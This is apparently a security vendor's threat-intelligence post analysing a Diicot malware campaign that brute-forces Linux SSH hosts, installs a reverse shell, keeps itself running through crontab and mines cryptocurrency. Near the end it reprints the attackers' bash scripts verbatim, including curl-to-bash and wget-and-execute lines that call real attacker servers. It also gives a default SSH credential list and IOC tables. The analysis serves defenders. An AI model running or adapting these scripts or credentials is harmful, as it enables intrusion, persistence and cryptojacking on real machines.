Summary: A new malware campaign attributed to the Romanian-speaking Diicot threat group targets Linux systems, showcasing advanced techniques and a focus on cloud environments. This campaign reflects the group’s evolution, learning from past research to enhance their malware’s sophistication and effectiveness.
Threat Actor: Diicot | Diicot
Victim: Various Linux systems | Linux systems
Key Point :
- Targets Linux systems, particularly those running OpenSSH, exploiting weak credentials.
- Utilizes advanced techniques such as modified UPX headers and cloud-aware payloads for spreading.
- Employs a reverse shell for remote access and maintains persistence through crontab modifications.
- Incorporates cryptomining capabilities, potentially earning significant revenue from Monero mining.
- Adapts tactics based on threat intelligence to evade detection and improve effectiveness.
During a recent threat hunting effort Wiz Research uncovered a new malware campaign that we attribute to the Romanian-speaking Diicot threat group.
This campaign targets Linux systems and showcases significant advancements compared to previous iterations. We have seen evidence of this new malware, as well as earlier versions of it, in several cloud environments, indicating a widespread campaign targeting various sectors.
While Diicot has been previously documented in reports by Cado Security, Akamai, and Bitdefender, the malware we analyzed includes notable improvements that reflect a deeper level of sophistication. These refinements suggest the attackers are actively learning from prior research and adapting their techniques to counter modern security measures.
In this blog, we’ll walk you through our findings, detailing the capabilities of this updated malware, its methods of operation, and its potential impact.
The Diicot threat group (also known as Mexals) is known for targeting Linux systems using techniques like self-propagating tools, custom UPX packers, Internet scanning, and cryptomining malware like XMRig. Previous reports from Cado Security, Akamai, and Bitdefender have highlighted their use of packed binaries, staged payloads, and frequent updates to avoid detection and maintain persistence.
In the malware samples we analyzed, we observed clear advancements compared to earlier versions. Specifically, we saw modified UPX headers with corrupted checksums that prevent standard unpacking tools from working out of the box. We also noticed more advanced payload staging and behavior tailored to the environment.
For example, if the malware detects that it is running within a cloud environment (as determined by the Linux distro and version), it prioritizes spreading itself to other hosts, whereas in a traditional (non-cloud) setup, it may focus on deploying cryptomining payloads instead. From our observations, the group appears to be closely following threat intelligence reporting about their activity, learning from them, and refining their tactics to adapt to modern defenses.
The key changes we observed in this version of the malware are listed below:
-
Infrastructure
-
New servers and domains for hosting payloads
-
Shift from Discord-based C2 to HTTP
-
New cryptocurrency wallets and mining pools
-
Use of Zephyr protocol for mining, in addition to Monero
-
-
Techniques
-
Shift from shc binaries to Go-based tools
-
UPX packer further modified to evade standard unpacking tools
-
Cloud-aware payloads
-
‘Update’ payload retooled as a central component, with expanded capabilities for spreading and persistency
-
As previously reported, we found clear signs linking the group to a Romanian speaking individual or group. For example, their code and file paths include Romanian words like afișează (“show”), așteaptă (“wait”), and brute-retea (“brute-force”).
The Diicot malware campaign targets Linux-based machines running OpenSSH, exploiting weak credentials to gain access. If your systems rely on SSH and aren’t properly secured, they could easily become targets for malicious activity and repurposed to further malicious actors’ goals.
Our investigation began with a file named Update
flagged by a YARA rule for UPX-packed files. The file showed up on cloud machines hosted on Azure, which ran OpenSSH along with a mix of other technologies.
We then found additional components of the malware on the machine, and categorized all the payloads as follows:
/var/tmp/.update-logs/Update
Internally called brute-spreader.go
(based on compilation artifacts). We identified this file as the primary payload in this attack. It contains the main logic which includes spreading to other targets, maintaining persistence, and uploading results to the attacker’s server. During its execution it drops two additional embedded malicious files onto the system.
Also included in this payload is the “Cloud detection” logic, which is based on the remote machine’s Linux distribution and version. The payload contains a large, hardcoded list of distros that will only receive the spreading payload and not the full mining payload, for example:
-
4.15.0-1013-azure
(Azure) -
4.14.47-64.38.amzn2.x86_64
(Amazon) -
x86_64-linode105
(Linode) -
4.1.12-61.1.28.el7uek.x86_64
(Oracle Cloud)
/var/tmp/cache
Internally called client.go
, this file functions as a reverse shell, giving the attacker a direct remote connection to the compromised machine. Once active, it gives them full control over the system to run commands, manipulate files, or escalate privileges further.
/var/tmp/.update-logs/.bisis
This file is a scanner primarily designed for banner grabbing and identifying systems running OpenSSH. It downloads an IP list from hardcoded URLs, scans port 22 on the remote machines for SSH banners and looks specifically for responses indicating the presence of OpenSSH. We believe the machine we investigated had weak SSH credentials which the attackers abused as an initial access vector to the customer’s environment.
cd /var/tmp/.update-logs ; chmod +x /var/tmp/.update-logs/.bisis ; /var/tmp/.update-logs/./.bisis 2000 22 iplist ; cat /var/tmp/.update-logs/banner.log | grep -a OpenSSH | awk '{print $1}' |sort | uniq > /var/tmp/.update-logs/fenta
We theorize that this scanner was repurposed by the attackers and wasn’t developed by them, judging by the ‘first seen’ date on VirusTotal, which was much earlier than any other payload associated with this campaign, and by differing file properties compared to the other files.
abc123
Unlike the other payloads, this one was found during an investigation of the attacker’s servers. Specifically, the attacker’s C2 server had directory listing enabled which exposed several of the payloads including this one.
Internally called payload.go
, we believe this is the campaign’s cryptomining payload for non-cloud environments.
It employs the same obfuscation methods as we saw in the Update
payload, but instead of just focusing on spreading to more machines, this payload also contains a cryptominer (a custom version of XMRig) with a built-in configuration.
abc123
also contains a version of Update
as an embedded binary payload, using it to spread and infect more machines.
This payload also updates quite frequently. We saw new versions uploaded to the attackers’ servers multiple times throughout our investigation, most recently updating on 2024-12-05.
In this section, we’ll outline the various techniques employed by Diicot we’ve identified during our investigation, as summarized in the diagram below.
File Obfuscation
As noted in previous publications, such as by Cado Security, the Diicot group’s payloads use a slightly modified UPX packer that changes the magic header from UPX!
to YTSx99
(T1027.002).
In this iteration, this technique goes a step further by corrupting the checksum information in the headers. This prevents common UPX recovery tools, like upx_dec that worked on previous versions, from successfully restoring the file. It’s a small change, but it’s clearly aimed at bypassing tools used in earlier analyses and avoiding detection by automated systems.
As can be seen below, when we first analyzed the Update
file, only 4 out of 66 VirusTotal engines flagged it as malicious, likely because of the modified UPX headers.
Reverse Shell
The attack also employed a reverse shell capability. This functionality is executed through the cache
payload. Once executed, the reverse shell connects back to the attacker’s command-and-control (C2) server and allows the attacker to execute arbitrary commands remotely on the infected machine.
The payload attempts to connect to the attacker-controlled domain pauza.digitaldatainsights[.]org
and if that fails it connects to the hardcoded IP address: 87.120.114[.]219
.
Persistence Mechanism
The Update
file maintains persistence by modifying the crontab to schedule recurring tasks (T1053.003).
Four different tasks are created:
-
Update
– Re-runs the payload itself -
History
– Contains a simple bash script that checks if Update is running and runs it again if needed -
.b
– Contains a simple bash script that checks if cache (the reverse SSH client) is running and runs it again if needed.
.c
– Downloads and runs a bash script from the url digital.digitaldatainsights[.]org/.x/black3
This task does nothing currently as the payload doesn’t exist, but the newer version, black4
, is stored on the server and will likely be included in a future update.
Command and Control (C2)
The malware communicates with a C2 server (T1071.001) multiple times during its runtime, sending two types of reports: error reports and information about successful brute-force attempts against other remote machines (T1041). In the samples we analyzed the C2 server’s address was 87.120.116[.]35
, but we believe the group updates this quite frequently (every few months)
Error Reports:
These are generated by various parts of the code and contain a base64-encoded string detailing the specific error encountered. For example, note the following request:
http://87.120.116.35:1418/save-data?err=L3Jvb3Qvc2tlbWEvYnJ1dGUtc3ByZWFkZXIuZ286MjE4OiBFIGRlIGxhIGNyb250YWIgdWlkMA==
This decodes to an error message (in Romanian) indicating failure to set up crontab jobs for persistence:
/root/skema/brute-spreader.go:218: E de la crontab uid0.
All error requests use Go’s default HTTP implementation, with a hardcoded User-Agent of curl/7.68.0
, and are sent to the C2 server on port 1418 .
Success Reports:
Sent after successfully brute-forcing a remote machine, these reports include:
-
The victim’s IP address, username, password, and SSH port
-
System information including CPU count, hostname, architecture, and kernel version
-
GPU availability (this was always set to
No
in the sample we observed)
These reports are sent using curl
with the following headers, to the C2 server, using ports 47 or 8000 depending on the victim’s Linux distribution (cloud-associated distros report to port 47 and the rest report to 8000):
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,...'
-H 'Accept-Language: en-US,en;q=0.9'
-H 'Cache-Control: max-age=0'
-H 'Connection: keep-alive'
-H 'Upgrade-Insecure-Requests: 1'
--insecure
SSH Brute Force
Another component of the malware is its SSH brute force functionality (T1110.001), which targets other systems with weak credentials. It starts by using the bisis
binary to scan a range of IP addresses to identify systems running SSH, it then tries to log in to the identified systems using the credentials from its large list of username and password combinations.
root !Q2w3e4r
pi raspberry
hive hive
git git
wang wang123
nginx nginx
mongo 123456
sonar sonar123
awsgui awsgui
...
When a login is successful, it exfiltrates system details and deploys additional payloads to maintain persistence and enable further activity.
In the screenshot below we can see that the victim’s machine was flagged as a malicious SSH brute-forcer by GreyNoise on November 6th, which corresponds with the earliest modified time of malware samples on the infected machine we analyzed.
Cryptomining
Although we didn’t observe any mining activity in the customer’s environment, we believe that this campaign does include crypto-jacking capabilities (T1496.001). Based on our analysis, the Update
binary checks system details such as uname and CPU information, adapting its behavior depending on whether it detects a cloud environment or a standard CPU. In cloud environments, it seems focused on spreading itself further.
However, in other cases, we suspect it may drop a cryptominer payload. This hypothesis is supported by findings on the attacker-controlled payloads server (http://80.76.51[.]5/.NzJjOTY
) which contains an open directory, where we discovered the file named abc123
which contains references to mining pools. This, combined with the presence of XMRig-related configurations in other samples linked to this campaign, indicates that cryptojacking may be a key objective of the malware in non-cloud environments.
By tracking the wallets linked to these pools, we found that the attackers have so far earned over $16,000 from Monero mining alone. We also suspect they’ve made significantly more using the Zephyr Protocol, but tracing those transactions is difficult because of its built-in privacy features.
Using Validin’s passive DNS data we can see the exact timeline of the group’s activity using their new infrastructure. As seen in the screenshot below, the domains and IP addresses were first observed around October 12th, 2024, which closely corresponds with the earliest evidence we have of the latest wave of attacks.
By pivoting on the unique response hash returned by the payloads server (digital.digitaldatainsights[.]org
), we managed to find an additional payload server (91.92.250[.]6
) that we assess is also owned by the same group. This additional server was active between May 1, 2024, and September 26, 2024.
Switching to VirusTotal, we can see that the additional server served similar payloads to the newer one we described above. However, it also included some paths that we weren’t aware of previously. By accessing these paths on the newer server, we were able to download previously unknown payloads, which appear to be older iterations of the newer payloads we described above (we have included all of these in the IOCs table).
Prevention
Wiz can help find and suggest remediation for all compute instances in your cloud environment with misconfigured SSH. This includes common pitfalls like weak credentials or allowing root SSH logins, both of which can lead to a compromise like in this case.
Detection
Wiz can help detect attacks like the one described in this blog in multiple ways:
The first is our agentless malware detection, which detects these types of evolving threats using our proprietary YARA rules catalog.
The second is The Wiz Runtime Sensor, which detects events and behaviors associated with this threat and similar ones, alerting you on every step of the attack: from SSH brute-force attempts, reverse shell connections, modifications to crontab and ultimately cryptomining activity.
File hashes
File name | SHA1 | Details |
---|---|---|
Update | a2101ec53fb0934b23f83c582d3a0bed9f66fd13 | Main payload, also embedded in abc123 |
cache | 2ec6af460feabfe9ed37c1955ff266cff63f31ff | Reverse shell, found embedded in Update |
.bisis | 7940c6e29ab9cf6abe5e570f73eed93265962e1a | Network scanner, found embedded in Update |
.c | f657f695faf2cfd9f6f2188d154f7767da248b9e | Found embedded in Update |
.b | a8a5d0223519590bb48e0b52102786623ec45511 | Found embedded in Update |
Additional Payloads found in the server
File name | SHA1 | Server upload time |
---|---|---|
black4 | 7ece24f3b426169d720ab8353e07f0feb6dbc854 | Uploaded to attack server on: 2024-10-13 11:21 |
.diicot | 07f200ad0b5a03433a184b442dcd7a688e1ff7a7 | Uploaded to attack server on: 2024-10-05 13:22 |
network | 970b45be172ffb9d3192a8d2d015b1c91b216107 | Uploaded to attack server on: 2024-07-17 09:23 |
retea | 1d56f998bc4f7b649f882a2d730d5e9b1b2e621f | Uploaded to attack server on: 2024-07-17 09:23 |
abc123 | f82b2df5e01abab70085a12388b3ec83c5e33ba1 | Uploaded to attack server on: 2024-11-09 15:16 |
abc123 | e0e3456a0b3c06a33cbb4db1f7d1335b777cf107 | Uploaded to attack server on: 2024-12-05 14:10 |
IPs and Domains
IP Address | Domain | Details |
---|---|---|
80.76.51[.]5 | digital.digitaldatainsights[.]org | Main payload server |
87.120.116[.]35 | test.digitaldatainsights[.]org | C2 and mining pool |
Unknown | pauza.digitaldatainsights[.]org | Reverse shell C2, not active at the time of reporting |
185.112.249[.]20 | web.digitaldatainsights[.]org | Old Payload server |
87.120.114[.]219 | Reverse shell C2 | |
91.92.250[.]6 | Old payload server |
Mining Pools
URL | User | Pass |
---|---|---|
87.120.116.35:7777 | ZEPHYR35u3wKAs4jLTGfGD4yDsJc92M3yRr3gEHCmRutfnDwfwgZizqF8q7en82SRR6BiNDfukphgayqw5CU5Pue36PQCKHx1qd1v | x |
87.120.116.242:8080 | ZEPHYR35u3wKAs4jLTGfGD4yDsJc92M3yRr3gEHCmRutfnDwfwgZizqF8q7en82SRR6BiNDfukphgayqw5CU5Pue36PQCKHx1qd1v | proxy2 |
147.189.132.45:8080 | ZEPHYR35u3wKAs4jLTGfGD4yDsJc92M3yRr3gEHCmRutfnDwfwgZizqF8q7en82SRR6BiNDfukphgayqw5CU5Pue36PQCKHx1qd1v | proxy3 |
46.102.174.115:8080 | ZEPHYR35u3wKAs4jLTGfGD4yDsJc92M3yRr3gEHCmRutfnDwfwgZizqF8q7en82SRR6BiNDfukphgayqw5CU5Pue36PQCKHx1qd1v | proxy3 |
test.digitaldatainsights[.]org:7777 | ZEPHYR35u3wKAs4jLTGfGD4yDsJc92M3yRr3gEHCmRutfnDwfwgZizqF8q7en82SRR6BiNDfukphgayqw5CU5Pue36PQCKHx1qd1v | proxy0 |
pool.supportxmr[.]com:443 | 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQ | update |
139.99.123.196:80 | 87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQ | update |
Bash Scripts
/var/tmp/.update-logs/.c
#!/bin/bash
curl -s 80.76.51.5/.x/black3 --connect-timeout 15 | bash >/dev/null 2>&1 || curl -s digital.digitaldatainsights.org/.x/black3 --connect-timeout 15 | bash >/dev/null 2>&1
/var/tmp/.update-logs/.b
#!/bin/bash
if ! pgrep -x cache >/dev/null
then
cd /tmp/
./cache >/dev/null 2>&1 & disown
else
echo ""
fi
/var/tmp/.update-logs/History
#!/bin/bash
PID=$(pidof Update)
if [ -z "${PID}" ]; then
chmod +x /var/tmp/.update-logs/Update
cd /var/tmp/.update-logs/
/var/tmp/.update-logs/Update </dev/null &>/dev/null & disown -h %1
echo "The process Update is not running. Starting it..."
else
echo "The process Update is already running."
fi
black4
#!/bin/bash
sleep_time=$(shuf -i 10-120 -n 1)
# Afișează timpul de sleep ales
echo "Sleeping for $sleep_time seconds..."
# Așteaptă pentru perioada aleasă
sleep $sleep_time
# Mesaj la finalul sleep-ului
echo "Done sleeping."
# Remove immutable, append-only, and undeletable attributes from the target file
echo "Removing immutable, append-only, and undeletable attributes from /var/tmp/Documents/.diicot"
chattr -iae /var/tmp/Documents/.diicot
check_command
# Define function to check for errors and print the current command
function check_command() {
if [ $? -ne 0 ]; then
echo "Error occurred in the last command."
exit 1
fi
}
# Navigate to the Documents directory
echo "Navigating to /var/tmp/Documents"
cd /var/tmp/Documents || { echo "Failed to change directory to /var/tmp/Documents"; exit 1; }
# Remove config.json only if it exists
echo "Checking for and removing Opera config.json if it exists"
[ -f "Opera config.json" ] && { rm -f "Opera config.json"; echo "Removed Opera config.json"; }
[ -f ".diicot" ] && { rm -f ".diicot"; echo "Removed .diicot"; }
[ -d "/tmp/cache" ] && { rm -r "/tmp/cache"; echo "Removed /tmp/cache directory"; }
[ -f "kuak" ] && { rm -f "kuak"; echo "Removed kuak"; }
[ -f "kuak.1" ] && { rm -f "kuak.1"; echo "Removed kuak.1"; }
# Download and execute the cache file
echo "Navigating to /tmp to download the cache file"
cd /tmp/ || { echo "Failed to change directory to /tmp"; exit 1; }
echo "Attempting to download cache file from 80.76.51.5/.NzJjOTY/.balu"
if wget -q "80.76.51.5/.NzJjOTY/.balu" || curl -O -s -L "80.76.51.5/.NzJjOTY/.balu"; then
echo "Downloaded cache file successfully."
echo "Removing old cache files, if they exist"
rm -rf /tmp/cache
echo "Killing existing cache processes"
pidof cache | xargs kill -9 >/dev/null 2>&1
echo "Renaming downloaded file to cache"
mv ".balu" "cache"
echo "Making cache executable"
chmod +x "cache"
echo "Executing cache in the background"
./cache >/dev/null 2>&1 & disown
else
echo "Failed to download or execute cache"
exit 1
fi
sleep 0.5
# Download and make the kuak file executable if the download was successful
echo "Navigating back to /var/tmp/Documents to download kuak"
cd /var/tmp/Documents || { echo "Failed to change directory to /var/tmp/Documents"; exit 1; }
echo "Attempting to download kuak from 80.76.51.5/.NzJjOTY/kuak"
if wget -q "80.76.51.5/.NzJjOTY/kuak" || curl -O -s -L "80.76.51.5/.NzJjOTY/kuak"; then
echo "Downloaded kuak successfully."
echo "Removing old files kuak.1 and Opera if they exist"
rm -f kuak.1 Opera
echo "Making kuak executable"
chmod +x "kuak"
echo "Moving kuak to Opera"
mv kuak /var/tmp/Documents/Opera
echo "Killing existing Opera processes"
pidof Opera | xargs kill -9 >/dev/null 2>&1
else
echo "Failed to download kuak"
exit 1
fi
sleep 0.5
# Download and execute .diicot only if the download was successful
echo "Attempting to download .diicot from 80.76.51.5/.NzJjOTY/.diicot"
if wget -q "80.76.51.5/.NzJjOTY/.diicot" || curl -O -s -L "80.76.51.5/.NzJjOTY/.diicot"; then
echo "Downloaded .diicot successfully."
echo "Making .diicot executable"
chmod +x ".diicot"
echo "Clearing crontab"
crontab -r
echo "Executing .diicot in the background"
/var/tmp/Documents/.diicot >/dev/null 2>&1 & disown
# Delay to ensure the process has time to start
sleep 1
# Optional: Check if the process of .diicot is running
if pgrep -f ".diicot" > /dev/null; then
echo ".diicot is executing."
else
echo "Failed to execute .diicot."
fi
echo "Cleaning up temporary files related to .diicot"
rm -rf /var/tmp/Documents/.diicot.* # Remove only if .diicot downloaded successfully
else
echo "Failed to download .diicot"
exit 1
fi
Source: https://www.wiz.io/blog/diicot-threat-group-malware-campaign